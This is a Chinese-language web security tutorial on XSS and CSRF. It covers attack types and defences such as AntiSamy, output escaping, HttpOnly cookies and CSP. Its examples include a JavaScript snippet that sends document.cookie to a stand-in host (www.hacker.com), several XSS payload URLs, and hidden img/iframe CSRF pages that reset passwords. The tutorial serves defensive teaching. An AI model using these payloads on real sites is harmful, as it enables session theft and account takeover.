Web安全攻防（一）XSS注入和CSRF

时间：2023-01-05 00:25:03

跨站脚本攻击（XSS）

XSS（Cross Site Scripting），为不和层叠样式表CSS混淆，故将跨站脚本攻击缩写为XSS。

攻击原理：

恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页面时，嵌入其中的Script代码会被执行，从而达到恶意攻击用户的目的。

XSS攻击按类型可以分为三种：

  • 存储型XSS
  • 反射型XSS
  • DOM型XSS

1.1 存储型XSS

存储型XSS，顾名思义就是攻击者上传的恶意脚本的数据被保存到数据库中，当页面渲染的时候如果执行到这段脚本，网站就会被攻击。

Web安全攻防（一）XSS注入和CSRF

这种攻击常见于支持用户保存数据的网站，如论坛发帖、商品评论、用户私信、留言等功能。

简单示例1：

一个网站留言栏黑客输入了如下内容

<script>alert('hello');</script>

如果网站没做处理，那么所有用户打开这个网站的留言栏都会弹出hello的一个框，严重影响了用户体验，甚至还可以窃取cookie。

简单示例2：

窃取用户cookie后发送到黑客。直接发送，可能会因为跨域而失败，可以通过图片标签的方式绕过：

(function () {

 (new Image()).src = 'http://www.hacker.com/h?c=' +

    escape("url=" + document.location.href) +

    escape('&cookie=' + document.cookie);

})();

上面的http://www.hacker.com/h是一个controller，可以接收请求并将参数保存。

1.2 反射型XSS

反射型XSS，又称非持久型XSS，也已代码没有被保存到目标网站，而是通过引诱用户点击一个恶意链接来实施攻击。

示例：网站有一个功能的实现是将链接上参数的内容展示在网页上。

后端代码：

@RequestMapping("/reflectxss")

    public String reflectxss(String content, ModelMap modelMap){

        modelMap.addAttribute("result",content);

        return "reflectxss";

  }

前端代码：

<!DOCTYPE html>

<html lang="en" xmlns:th="http://www.thymeleaf.org">

<head>

    <meta charset="UTF-8">

    <title>Title</title>

</head>

<body>

    <span th:utext="${result}"></span>

</body>

</html>

如果用户参数里是一个正常的数据还好，如果是黑客输入一个js脚本获取cookie

http://localhost:8080/reflectxss?content=<script>alert(document.cookie)</script>

构建DOM

http://localhost:8080/reflectxss?content=<input type="button" value="登录"/>

Web安全攻防（一）XSS注入和CSRF

1.3 DOM型XSS

DOM型XSS其实就是一种特殊类型的反射型XSS，它是基于DOM文档对象模型的一种漏洞，不需要与服务端进行交互。

示例代码：

<!DOCTYPE html>

<html lang="en" xmlns:th="http://www.thymeleaf.org">

<head>

    <meta charset="UTF-8">

    <title>domxss</title>

</head>

<body>

<title>测试</title>

<div id="mystr"></div>

<script type="text/javascript">

    function getQueryString(name) {

        var reg=new RegExp("(^|&)"+name+"=([^&]*)(&|$)");

        var r=window.location.search.substr(1).match(reg);

        if(r!=null){

            return decodeURI(r[2]);

        }else {

            return null;

        }

    }

    document.getElementById("mystr").innerHTML=(getQueryString("domxss"));

</script>

</body>

</html>

它会将链接中的参数取出来，然后用innerHtml的方式渲染。

  1. 注入js脚本，未成功

http://localhost:8080/domxss.html?domxss=<script>alert('abc')</script>

使用innerHtml获得的JS代码是不会被执行的，JS只有在页面初次加载的时候才有效

2. 构造DOM

http://localhost:8080/domxss.html?domxss=<input type="button" value="登录" onClick="alert(document.cookie)"/>

  1. 利用img标签

http://localhost:8080/domxss.html?domxss=<img src='http://www.hacker.com/attack.jpg' onerror='alert(110)'/>

img标签的src填一个不存在的图片，onerror里的脚本会被执行。

1.4 攻击原理及危害分析

基本实现原理：

  1. 通过img标签的src发送数据
  2. 构造表单诱导用户输入账号密码
  3. 构造隐藏的form表单自动提交
  4. 页面强制跳转
  5. 植入文字链接、图片链接
  6. 构造iframe
  7. 构造其他HTML标签

潜在危害：

  1. 获取其他用户的Cookie，冒充身份登录
  2. 构造表单诱导用户输入账号密码，盗取账密
  3. 跳转到其他网站，窃取流量
  4. 植入广告、外链
  5. 通过隐藏友链提升网站百度权重

1.5 XSS漏洞预防

  1. 对用户的输入进行验证

包括前端页面和后端，都需要对用户输入进行验证和限制，包括输入长度验证、特殊字符限制。可以使用apache commons text、使用owasp AntiSamy等框架进行字符校验

使用owasp AntiSamy：

<dependency>

    <groupId>org.owasp.antisamy</groupId>

    <artifactId>antisamy</artifactId>

    <version>1.5.8</version>

</dependency>
public class XSSEncode {

    static Policy policy;

    static {

        String path = XSSEncode.class.getClassLoader().getResource("antisamy-anythinggoes.xml").getFile();

        if(path.startsWith("file")){

            path=path.substring(6);

        }

        try {

            policy = Policy.getInstance(path);

        } catch (PolicyException e) {

            e.printStackTrace();

        }

    }

    public static String xssEncode(String value) throws PolicyException, ScanException {

        AntiSamy antiSamy=new AntiSamy();

        CleanResults results = antiSamy.scan(value, policy);

        //返回安全性的html

        return results.getCleanHTML();

    }

    public static void main(String[] args) throws ScanException, PolicyException {

        String s = xssEncode("<script>alert22</script>afdsf");

        System.out.println(s);

    }

}

使用 apache commons-text

 <dependency>

    <groupId>org.apache.commons</groupId>

    <artifactId>commons-text</artifactId>

    <version>1.5</version>

</dependency>
import org.apache.commons.text.StringEscapeUtils;

import org.owasp.validator.html.*;

public class XSSEncode2 {

    public static String xssEncode(String value){

//        StringEscapeUtils.escapeJson(value);

//        StringEscapeUtils.escapeEcmaScript(value);

        return StringEscapeUtils.escapeHtml4(value);

    }

}
  1. Cookie防护

将cookie设置为httponly

resp.setHeader("SET-COOKIE","JSESSIONID="+request.getSession().getId()+ "; HttpOnly")
  1. 设置frame、iframe限制

iframe可以配置三个策略：

  • DENY 不允许
  • SAMEORIGIN 可在相同域名页面的iframe中展示
  • ALLOW-FROM uri 可在指定页的frame中展示

nginx中配置：

add_header X-Frame-Options SAMEORIGIN;

filter中配置：

resp.setHeader("x-frame-options","SAMEORIGIN");
  1. 输出时转义

thymeleaf:

<!--非转义输出,原样输出-->

<td style="background:#FFF; padding: 3px;"

th:utext="${item.content}"></td>

<!--转义输出-->

<td style="background:#FFF; padding: 3px;"

th:text="${item.content}"></td>

JSP:

<!--默认true,进行转义-->

<c:out value=" ${ content }" escapeXml="false" />
  1. dom型xss避免

避免使用innerHtml、outerHTML、document.write()，应使用textContent、setAttribute；尤其注意onclick、onerror、onload、onmouseover、eval（）、setTimeout（）、setInterval（）

6. 富文本处理

做富文本的展示需求时，应特别注意，事件应该被严格禁止，因为富文本的需求里不应该包括事件这种动态效果。富文本过滤中，处理CSS是一件比较麻烦的事情，如果允许用户自定义CSS、则也可能导致XSS攻击。比如尽可能的禁止用户自定义CSS。

有些开源项目实现了对富文本的XSS检查，Anti-Samy是OWASP上的一个开源项目，也是目前最好的XSS Filter。

1.6 内容安全策略防护

内容安全策略(CSP ：Content-Security-Policy)是一个额外的安全层，用于检测并削弱某些特定类型的攻击，包括跨站脚本和数据注入攻击。

CSP通过指定有效域——即浏览器认可的可执行脚本的有效来源——使服务器管理者有能力减少或消除XSS攻击所依赖的载体

CSP的分类：

  • Content-Security-Policy 配置好后，不符合的内容资源会被阻止加载
  • Content-Security-Policy-Report-Only 仅仅记录违反限制的行为

配置的地方：

  1. 可以在http header上
  2. 可以在HTML上
<meta http-equiv="content-security-policy" content="策略">

<meta http-equiv="content-security-policy-report-only"

content="策略">

配置语法：

Web安全攻防（一）XSS注入和CSRF

示例：

  1. 限制所有外部资源，都只能从当前域名加载，不包含子域名‘
Content-Security-Policy: default-src 'self'
  1. 限制所有的外部资源，都只能从当前域名及其*.lagou.com域名加载
Content-Security-Policy: default-src 'self' *.lagou.com
  1. 图片可以从任意地方加载，视频只能从media1.com和media2.com加载，js只能从scripts.lagou.com加载
Content-Security-Policy: default-src 'self'; img-src *;

media-src media1.com media2.com; script-src scripts.lagou.com
  1. 仅允许从https://onlinebanking.abc.com网站访问
Content-Security-Policy: default-src https://onlinebanking.abc.com
  1. 启用违例报告
Content-Security-Policy: default-src 'self'; report-uri

http://reportcollector.example.com/collector.cgi

1.7 XSS漏洞扫描工具

常见的扫描工具有： Safe3WVS，Burp Suite ，AWVS，AppScan，W3af，

Arachni，Acunetix等

跨站请求伪造（CSRF）

CSRF攻击的全称是跨站请求伪造（cross site request forgery）。是一种对网站的恶意利用，听起来跟XSS有点相似，但事实上CSRF与XSS差别很大。CSRF是通过用户浏览器冒充用户身份向服务器发起伪造请求。

CSRF攻击原理：

  1. 用户打开浏览器，访问了受信任网站A，并且输入用户名密码登录了网站A
  2. 用户信息通过验证后，网站A产生了Cookie信息并返回给浏览器，此时用户登录网站A成功，可以正常发送请求到网站A
  3. 用户未退出网站A之前，同一个浏览器中又打开一个TAB页访问了黑客的网站B
  4. 网站B收到用户请求后，返回一些攻击代码（调用网站A的接口）
  5. 浏览器接收到攻击代码后，在用户不知情的情况下携带Cookie信息，向网站A发出请求。网站A并不知道请求其实是网站B发起的，所以执行了网站B的恶意代码。

Web安全攻防（一）XSS注入和CSRF

示例：

Web安全攻防（一）XSS注入和CSRF

你以为你访问黑客的网站只是看了个美女，其实它偷偷把你其他网站A的密码改了。因为你刚登陆了网站A，所以如果没有其他验证的话你的密码就被改了。

代码如下：

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>美女图片</title>

</head>

<body>

    <img src="data:images/801910ac238baefd3271af9d684691f1.jpeg" />

    <img src="http://localhost:8080/resetPassword" />

</body>

</html>

攻击方式：

get请求：

<img src="http://www.study.com/admin/resetPassword?id=1" />
<iframe src="http://www.study.com/admin/resetPassword?id=1"

style='display:none'></iframe>

post请求：

隐藏表单、自动提交，把功能通过iframe引入新页面

<iframe src="form.html" style='display:none'></iframe>

CSRF安全防护

  1. referer校验

校验referer是否从本网站发起的

  1. 二次验证

比如加一些验证码，修改密码的时候需要输入原密码等等

  1. token验证

用户访问正常网站的时候服务器生成一个token，并且给到客户端。客户端每次请求都要带上，校验通过才行。而你访问黑客的网站的时候，他拿不到你的token所以不能请求成功。

CRSR扫描工具

CSRFTester是一款CSRF漏洞的测试工具，此工具的测试原理如下：它使用代理抓取浏览器中访问过的连接以及表单等信息，通过在CSRFTester中修改相应的表单等信息，重新提交，相当于一次伪造客户端请求，如果被测试的请求成功被网站服务器接受，则说明存在CSRF漏洞，否则不存在。此款工具也可以被用来进行CSRF攻击

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